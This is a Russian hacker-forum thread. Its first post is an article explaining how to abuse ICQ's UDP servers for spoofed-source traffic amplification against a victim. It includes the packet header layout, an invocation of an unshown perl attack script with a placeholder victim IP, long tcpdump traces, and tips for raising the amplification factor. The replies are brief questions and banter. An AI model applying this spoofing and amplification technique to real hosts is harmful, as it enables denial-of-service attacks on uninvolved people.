Статьи DoS для ICQ

Discussion in 'Статьи' started by doc, 26 Jul 2010.

  1. doc

    doc New Member

    Joined:
    31 May 2010
    Messages:
    53
    Likes Received:
    3
    Reputations:
    0
    Возможно использовать ICQ-серверы для умножения трафика с коэффициентом 100 и даже больше. Это означает,
    что нападающий с полосой пропускания канала 38 Kbps может заполнять канал связи на 3.8 Mbps.

    Известно, ЧТО ICQ использует UDP протокол как свой транспортный уровень.

    Каждый UDP-пакет со стороны клиента начинается следующим заголовком (http://www.securitylab.ru/document/icqv5.html):
    Code:
    Length Content Index 
      Description 
    
      2 bytes 05 00 VERSION Protocol version 
    
      4 bytes 00 00 00 00 ZERO Always zero 
    
      4 bytes xx xx xx xx UIN Your UIN 
    
      4 bytes xx xx xx xx SESSION_ID Used to prevent spoofing 
    
      2 bytes xx xx COMMAND Command 
    
      2 bytes xx xx SEQ_NUM1 Sequence inits with a random number 
    
      2 bytes xx xx SEQ_NUM2 Inits with 1 (!) 
    
      4 bytes xx xx xx xx CHECKCODE 
    
      variable xx .. PARAMETERS Parameters

    (все пакеты со стороны клиента шифруются а со стороны сервера - нет)

    SEQ_NUM1 инициализирован со случайным числом и увеличивается с каждым пакетом на 1 (!) (то есть если первый пакет содержит SEQ_NUM1=123, тогда следующий будет иметь SEQ_NUM1=124).

    SEQ_NUM1 инициализирован в 1, и увеличивается на 1с каждым пакетом, если не определено другое значение (то есть установка SEQ_NUM2 = 0 при посылке CMD_KEEP_ALIVE)

    SESSION_ID - случайное число, которое должно быть постоянным для каждого пакета текущего сеанса, иначе они игнорируются сервером. Кроме того, пакеты сервера отмечены тем же самым значением, чтобы предотвратить имитацию.

    Нападение заключается в том, что соединяясь с сервером как зарегистрированный пользователь/пользователи, мы подменяем исходный адрес жертвы (желательно, но не обходимо поле "Our IP" в заголовке команды CMD_LOGIN). Этим мы переадресовываем трафик ответа сервера жертве (это возможно не только из-за слабости UDP протокола, но также и из-за предсказуемости правил последовательности SEQ_NUM1 и SEQ_NUM2). Все эти факты - ядро для формирования нападения.

    Реализация:

    Чтобы проверить нападение, напишите perl-сценарий, который вслепую пошлет пакеты, один за другим с некоторой задержкой. В результате чего получим:

    Code:
    % perl icqoff.pl icq.mirabilis.com 4000 yy.yy.yy.22 1027 (yy.yy.yy.22 - IP жертвы; 1027 порт)
    
    tcpdump атакующего: 
    xx.xx.xx.100.1027 
          > 205.188.153.103.4000: udp 80 xx.xx.xx.100.1027 > 205.188.153.103.4000: 
          udp 28 xx.xx.xx.100.1027 > 205.188.153.103.4000: udp 57 xx.xx.xx.100.1027 
          > 205.188.153.103.4000: udp 53
    tcpdump жертвы:

    Code:
    205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 41 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 21 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: 
          icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: 
          icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 
          > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 
          > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 117 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 382 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 
          > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 
          > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp 
          port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 
          (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: 
          icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp 
          port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 
          (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 166 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable yy.yy.yy.22 > 205.188.153.103: 
          icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: 
          udp 72 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 
          1027 unreachable 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 117 (DF) 
          yy.yy.yy.22 > 205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 
          205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) yy.yy.yy.22 > 
          205.188.153.103: icmp: yy.yy.yy.22 udp port 1027 unreachable 205.188.153.103.4000 
          > yy.yy.yy.22.1027: udp 21 (DF) yy.yy.yy.22 > 205.188.153.103: icmp: 
          yy.yy.yy.22 udp port 1027 unreachable
    Из дампов мы видим, что жертва отвечает на пакеты, полученные с ICMP недостижимым сообщением, но сервер игнорирует их и продолжает посылать ~11-12 повторений с задержкой 6 секунд, надеясь, что другая сторона его слышит. Эти пакеты служат, чтобы сообщить жертве, кто из его контактного списка в online.

    Подсчитывая мы видим, что отношение запроc/ответ примерно равно 330/10110, что соответствует увеличению 1:30.

    Сценарий:

    В предыдущей реализации, мы достигли отнюдь не максимального умножения трафика, потому что нападающий использовал довольно короткий контактный список с 8 записями.

    Code:
    xx.xx.xx.100.1027 
      > 205.188.153.103.4000: udp 57
    Однако, возможно послать список из 100 случайных активных пользователей, или списка наших специальных пользователей, которые постоянно находятся в online.

    Code:
    xx.xx.xx.100.1027 
      > 205.188.153.103.4000: udp 425
    Это приведет к лучшему росту, чем линейный в предыдущем случае.

    Code:
    1: 205.188.153.103.4000 
      > yy.yy.yy.22.1027: udp 382 (DF) 
    
      2: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
    
      3: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
    
      .
    
      .
    
      .
    
      18: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
    
      19: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF) 
    
      20: 205.188.153.103.4000 > yy.yy.yy.22.1027: udp 382 (DF

    и в 10 раз больше, на каждые 20 пакетов...


    В этот раз коэффициент умножения стал равен 130. Это означает, что нападающий может увеличивать этот коэффициент, постоянно ища активных пользователей или создавая и поддерживая их в активном состоянии.


    Другие сценарии:

    В других случаях, чтобы увеличивать трафик, мы можем дополнительно послать запросы поиска (CMD_SEARCH_UIN, CMD_SEARCH_USER), различные сообщения (CMD_SEND_MESSAGE) и квитируемые сообщения (CMD_ACK), так, чтобы таймаут 6 секунд выполнялся параллельно, и мы можем это использовать пока сервер думает что мы в online.

    Описанный выше способ может использоваться не только для DDoS нападений, но также и для быстрой регистрации множества UIN номеров от различных IP.
     
    #1 doc, 26 Jul 2010
    Last edited: 26 Jul 2010
  2. .:GOGA:.

    .:GOGA:. Member

    Joined:
    28 Jun 2010
    Messages:
    93
    Likes Received:
    9
    Reputations:
    5
    А где этот perl-сценарий найти??
     
  3. struk

    struk New Member

    Joined:
    23 Jul 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    а для чего это ваще надо?
     
  4. Yetisports

    Yetisports Banned

    Joined:
    11 Jul 2010
    Messages:
    147
    Likes Received:
    12
    Reputations:
    17
    кто автор статейки?
     
  5. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    это прибавляет много много рейтинга вконтакте :D
     
  6. struk

    struk New Member

    Joined:
    23 Jul 2010
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    а че такое ретинг вконтакте и нафиг он? у меня его нет и все нормуль
     
  7. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    если рейтинга нет, значит еще невырос, он обычно начинает рости у человеков после 22-25 лет
     
  8. ZdezBilYa

    ZdezBilYa Elder - Старейшина

    Joined:
    29 Aug 2008
    Messages:
    198
    Likes Received:
    75
    Reputations:
    19
    Дата: 29.10.2001
    http://www.xakep.ru/post/13849/default.asp